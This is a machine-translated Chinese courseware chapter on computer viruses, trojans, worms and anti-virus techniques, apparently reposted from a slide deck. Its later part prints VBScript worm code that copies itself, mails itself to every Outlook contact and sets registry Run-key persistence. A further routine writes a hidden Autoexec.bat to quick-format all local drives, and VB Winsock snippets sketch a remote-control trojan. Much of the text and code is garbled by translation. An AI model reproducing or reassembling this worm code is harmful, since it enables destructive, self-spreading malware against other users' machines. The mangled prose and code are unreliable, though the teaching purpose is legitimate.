第4章计算机病毒和黑客计算机信息安全技术Courseware.ppt

4.5木马4.5.1黑客程序和木马木马实际上是一个典型的黑客程序，它是一种基于远程控制的黑客工具，现已成为黑客程序的代名词. 将黑客程序描述为木马是为了反映黑客程序的隐藏和欺骗. 较著名的Trojan程序包括BackOrifice（BO），Netspy（网络向导），Glacier（Glacier）和Guangwai Girls. 这些木马程序大多数都可以直接在Internet上下载和使用. 4.5.2木马的基本原理木马实质上只是一个网络客户端/服务器程序（Client / Server），通常由两部分组成: 一个是服务器程序，另一个是客户端程序. 以Binghe程序为例，在VB中，可以使用WinSock控件编写网络客户端服务程序. 实现方法如下: 服务器: G_ Server.LocalPort = 7626（Binghe的默认端口，可以更改为另一个值）. 侦听（等待连接）客户端: G_ Client.RemoteHost = ServerIP（将远程地址设置为服务器地址）G _Client.RemotePort = 7626（将远程端口设置为Glacier的默认端口）G _Client.Connect（调用连接Winsock控件的方法），其中，G_Server和G_Client是Winsock控件.

一旦服务器从客户端接收到连接请求，它将接受连接. 私有Sub G_服务器连接RequestG_ Server.Accept reauestID End Sub客户端使用G_Client.SendData发送命令，并且服务器在G_Server DateArrive事件中接受并执行命令（几乎所有木马功能都在此事件处理程序中实现）. 如果客户端断开连接，请关闭连接并再次端口. 私人Sub G _Server Close（）G _Server.Close（关闭连接）G_ Server.Listen（再次侦听）结束Sub4.5.3 Trojan马启动方法第一个黑客将Trojan马程序捆绑在某些常用软件上，即使您浏览了Web当时，请将该木马静默安装到您的计算机上. 可以通过编写自己的程序将一个程序捆绑到另一个程序，也可以从Internet下载类似的DAMS文件捆绑器. 在Windows系统中计算机病毒的分类与特征，黑客可以通过多种方式启动程序，常见的方法有: 1.通过修改系统配置文件System.ini，Win.ini来实现自启动木马，从而修改系统配置文件.

Win.ini有两个数据项“ load =“和“ run =”，如果木马需要在系统启动后运行程序，只需在“ load =“和“ run =”之后添加程序的程序名称“ 而已. 2.修改注册表修改注册表是木马最常用的攻击和入侵方法. 在注册表中没有一个名为HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Current Version \ Run *的项. 如果要让程序在系统启动期间启动程序，则可以在目录中添加一个子项. 第4章计算机病毒和黑客-*-第4章计算机病毒和黑客4.1计算机病毒概述4.2计算机病毒生产技术4.3计算机杀毒软件生产技术4.4蠕虫病毒分析4.5 Trojan Horse 4.6预防计算机病毒和黑客4.1计算机病毒概述4.1.1计算机病毒的定义《中华人民共和国计算机信息系统安全保护条例》中的病毒定义表明，计算机病毒是破坏性的计算机程序. 4.1.2计算机病毒的特征具有破坏性. 2.秘密. 3.传染性. 计算机病毒的破坏性，隐蔽性和感染性是计算机病毒的基本特征. 4.潜在的. 5.可触发性.

6. 不可预测性. 4.1.3计算机病毒的原因软件产品的脆弱性是产生计算机病毒的根本技术原因. 2.社会因素是计算机病毒产生的土壤. 4.1.4计算机病毒的传播计算机病毒主要通过复制文件，发送文件和运行程序等操作传播. 通常有几种传输方式: 1.移动存储设备包括软盘，硬盘，移动硬盘，光盘和磁带. 硬盘是数据的主要存储介质，也是计算机病毒感染的主要目标. 2. Internet上的大多数病毒当前都通过Internet传播，并且具有很大的破坏力. 4.1.5计算机病毒的分类计算机病毒大致分为7种类型. 1.引导病毒. 主要通过感染软盘，硬盘上的引导扇区或重写磁盘分区表（FAT）来感染系统. 大多数早期的计算机病毒都属于这种类型的病毒. 2.文件病毒. 它主要感染可执行文件计算机病毒的分类与特征，例如COM和EXE. 执行被感染的可执行文件时，病毒将被加载并传播到其他正常的可执行文件或执行销毁操作. 大多数文件病毒也驻留在内存中. 4.1.6计算机病毒的性能正常运行的计算机突然突然死机，没有明显的原因. 2.运行速度明显变慢. 3.打印和通信期间发生异常. 4.系统文件的时间，日期和大小已更改. 5.磁盘空间正在迅速减少.

6. 收到来自陌生人的电子邮件. 7.自动链接到一些奇怪的网站. 8.计算机无法识别硬盘. 9.操作系统无法正常启动. 10.一些文件丢失或损坏. 11.网络断开. 4.1.7计算机病毒程序一般构成一个病毒程序，一般由三个基本模块组成，即安装模块，感染模块和破坏模块. 1.安装模块病毒程序必须是自启动的，并通过其自己的程序安装到计算机系统中. 不同类型的病毒程序将使用不同的安装方法. 2.感染模块感染模块包括三个部分: （1）感染控制部分. 病毒通常具有控制条件，一旦满足该条件，便开始感染. 例如，病毒首先判断某个文件是否是.EXE文件，如果被感染，它将搜索下一个文件. （2）感染判断部分. 每个病毒程序都有一个标记，将在感染过程中对其进行判断. 如果磁盘或文件已被感染，则不会被感染，否则会被感染； （3）感染部位. 满足感染条件时进行感染操作. 3.销毁模块计算机病毒的最终目的是销毁它. 销毁的基本方法是删除文件或数据. 销毁模块由两部分组成: 一个是激活控制，另一个是销毁操作. 对于每个病毒程序，安装模块和感染模块都是必不可少的，销毁模块可以直接隐藏在感染模块中，也可以组成一个模块. 4.2计算机病毒生产技术使用自加密技术处理计算机病毒使用自加密技术是为了防止被计算机病毒检测程序扫描并易于拆卸.

这给分析和破译计算机病毒增加了很多困难. 2.当计算机病毒编译器采用变形技术来修改已知计算机病毒的代码以使其可以逃脱现有计算机病毒检测程序时，可以说这种新出现的计算机病毒是原始修改后的变体或变体电脑病毒. 3.使用特殊的隐身技术当计算机病毒使用特殊的隐身技术时，计算机病毒进入内存后很难感觉到它的存在. 有关使用这种“隐形”技术的计算机病毒的表现，请参阅教科书. 4.反计算机病毒保护系统如果在文件中找到某些著名的计算机病毒反病毒软件或发布这些软件的公司名称，则这些反病毒软件或文件将被删除. 5.反跟踪技术计算机病毒采用的反跟踪措施的目的是提高计算机病毒程序的抗解码能力和伪装能力. 常规程序使用的反跟踪技术可以在计算机病毒程序中使用. 6.病毒设计者使用中断处理机制来篡改中断处理功能，以达到感染，激发和破坏的目的. 例如，INT 13H是磁盘输入和输出中断，引导病毒使用它来感染病毒并格式化磁盘. 4.3计算机防病毒软件的生产技术1.特征代码方法从病毒程序中提取一个足以表示病毒特征的唯一二进制程序代码，并将其用作判断病毒的基础. 这就是所谓的病毒功能代码. 从各种病毒样本中提取特征代码构成一个病毒.

显然，病毒中的病毒签名代码越多，防病毒软件可以检测到的病毒就越多. 选择病毒签名代码以反映病毒的典型特征，例如其破坏，传播和隐藏代码. 由于病毒数据区域经常更改，因此病毒签名代码不应包含病毒数据区域. 在保持病毒典型特征唯一性的前提下，提取的病毒签名代码的长度应适当. 签名代码的长度应尽可能短，以减少空间和时间开销，并最大程度地降低误报率. 检查文件是否包含病毒时，可以先打开检测到的文件，搜索文件，然后检查文件是否包含与病毒相同的病毒签名代码. 如果在文件中找到病毒签名代码，则可以确定正在检查的文件中存在什么病毒. 使用病毒签名代码方法的检测工具必须不断更新病毒，否则检测工具将过期并老化，并逐渐失去其实用价值. 特征码方法的优点在于，它可以准确，快速且可识别地检测病毒名称. 这是检测已知病毒的最简单，最便宜的方法. 缺点是它无法检测到未知病毒，变种病毒和隐藏病毒（隐藏病毒进入内存后，被感染程序中的病毒代码将被自动剥离），并且病毒库需要定期更新，这是很滞后的. 2.校验和方法校验和方法是根据文件的内容计算校验和，并将所有文件的校验和放入中. 在检测过程中，将文件现有内容的校验和与中的校验和进行比较，如果不同，则判断为感染了病毒.

使用校验和方法检查病毒有以下三种方法: （1）将校验和方法添加到病毒检测工具中. （2）在应用程序中添加了校验和方法的自检功能. （3）校验和检查程序驻留在内存中. 3.行为监视方法行为监视方法是总结病毒的更常见的行为，例如，对文件的写操作，格式化硬盘，修改网页等. 在程序运行时立即监视程序的行为. 如果发现类似病毒的行为，请报警. 4.虚拟机技术使用程序代码虚拟化CPU，各种寄存器和硬件端口，并转移已传输的“样本”以通过更改内存，寄存器和端口来了解程序的执行. 将病毒放入虚拟机中执行，将反映出病毒感染和破坏的行为. 5.主动内核技术是主动“修补”操作系统和网络系统. 这些补丁程序将从安全角度管理和检查系统或网络，并修复系统漏洞. 在任何文件进入系统之前，防病毒模块All将首先使用各种手段来检测文件. 6.启发式扫描的反病毒技术是以特定的方式实现相关指令序列的反编译，并逐步了解并确定其隐藏的真实动机. 例如，一个程序包括: MOV AH，5和INT 13h. 在执行此命令之前，没有任何选项可获取要执行的命令行参数. 它可以被视为病毒或恶意破坏的程序. 7.实时防病毒技术实时防病毒是在调用任何程序之前对其进行过滤. 病毒入侵时，它将立即报警并自动杀死病毒，以阻止病毒进入.

8. 邮件病毒杀毒技术采用智能邮件客户端代理SMCP技术，具有完善的邮件解码技术，可以对邮件的各个部分进行病毒扫描；病毒清除后，它可以重新编码无毒的邮件数据并将其发送到邮件客户端，并且可以更改主题，添加病毒检测报告附件，具有垃圾邮件处理功能等. 4.4蠕虫病毒分析？蠕虫病毒是目前最威胁计算机的网络病毒. 蠕虫病毒的特征: 1.蠕虫病毒的自我复制能力我们使用VB脚本语言编写和实现自我复制程序. SetobjFs = CreateObject（“ Scripting.FileSystemObject”）‘创建文件系统对象objFs.CreateTextFile（“ C: \ virus.txt”，1）’通过文件系统对象的方法创建TXT文件. 如果我们将这两句话保存为.vbs的VB脚本文件，请单击鼠标在C驱动器中创建一个TXT文件. 如果将第二句话更改为: objFs.GetFile（WScript.ScriptFullName）.Copy（“ C: \ Virus.vbs”），则可以将自己复制到C驱动器上的Virus.vbs文件中. 2.蠕虫传播的VB脚本代码如下: SetobjOA = Wscript.CreateObject（“ Outlook.Application”）'创建OUTLOOK应用程序对象SetobjMapi = objOA.GetNameSpace（“ MAPI”）'获取MAPI命名空间对于i = 1到objMapi.AddressLists.Count'遍历通讯簿设置objAddList = objMapi.AddressLists（i）对于j = 1到objAddList. AddressEntries.Count设置objMail = objOA.CreateItem（0）objMail.Recipients.Add（objAddList. AddressEntries（j））'获取收件人的电子邮件地址objMail.Subject =“”您好！ “”设置电子邮件的主题objMail.Body =“”这次的附件是我的新文档！ “”设置字母objMail.Attachments.Add（“ c: \ virus.vbs”）的内容'将自己作为附件objMail.Send扩散'发送邮件Next NextSet objMapi = Nothing'清除objMapi变量并释放资源Set objOA = Nothing'清除objOA变量潜在的蠕虫病毒是爱情bug病毒中代码的以下部分: On Error Resume下一个'容错语句，以避免程序崩溃dim wscr，rrset wscr = CreateObject（“ WScript .Shell“）'以激活WScript.Shell对象rr = wscr .RegRead” HKEY_CURRENT_USER \ Software \ Microsoft \ Windows cripting Host \ Settings \ Timeout“）'如果（rr> = 1），则将超时键值读入注册表. 超时设置wscr.Reg编写“ HKEY_CURRENT_USER \ Software \ Microsoft \ WindowsScripting Host \ Settings \ Timeout”，“ 0”，“ REG_DWORD”结束，如果以下代码是修改注册表，以便每次系统启动时自动执行脚本文件

regcreate“ HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ MSKernel32”，目录系统和“ \ MSKernel32.vbs” regcreate“ HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ RunServices \ Win32DLL，” dirwin和“ \ Win32DLL .vbs“ 4. 如果x = xx.xx.xx，蠕虫的可触发性x = time（），则…………如果5则结束. 蠕虫破坏性子killc（）'在错误继续下破坏销毁硬盘的过程'容错语句，以避免程序崩溃dim fs，auto，disc，ds，ss，i，x，dir Setfs = CreateObject（“ Scripting.FileSystemObject ”）设置auto = fs.CreateTextFile（“ c: \ Autoexec.bat”，True）“创建或修改自动批处理auto.WriteLine（“ @ echo off”）”自动屏蔽已删除的进程. WriteLine（“ Smartdrv”） '加载磁盘缓冲区Set disc = fs.Drives'获取磁盘中每个ds的磁盘驱动器集如果ds.DriveType = 2，则'如果磁盘驱动器是本地磁盘ss = ss和ds.DriveLetter'将符号连接在一起如果下一个ss = LCase（StrReverse（Trim（ss））），则结束. '获取符号字符串的反向小写形式，对于i = 1到Len（ss）'遍历每个磁盘驱动器x = Mid（ss，i，1）'读取每个磁盘驱动器的符号auto.WriteLine（“格式/自动测试/ q / u”和x＆“: ”）'反向（从Z: 到A :）自动格式化磁盘驱动器下一个auto.Close'关闭批处理文件设置d ir = fs.GetFile （“: \ Autoexec.bat”）dir.attributes = dir.attributes + 2'更改自动批处理文件以隐藏第4章计算机病毒和黑客-*-

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/jisuanjixue/article-201812-1.html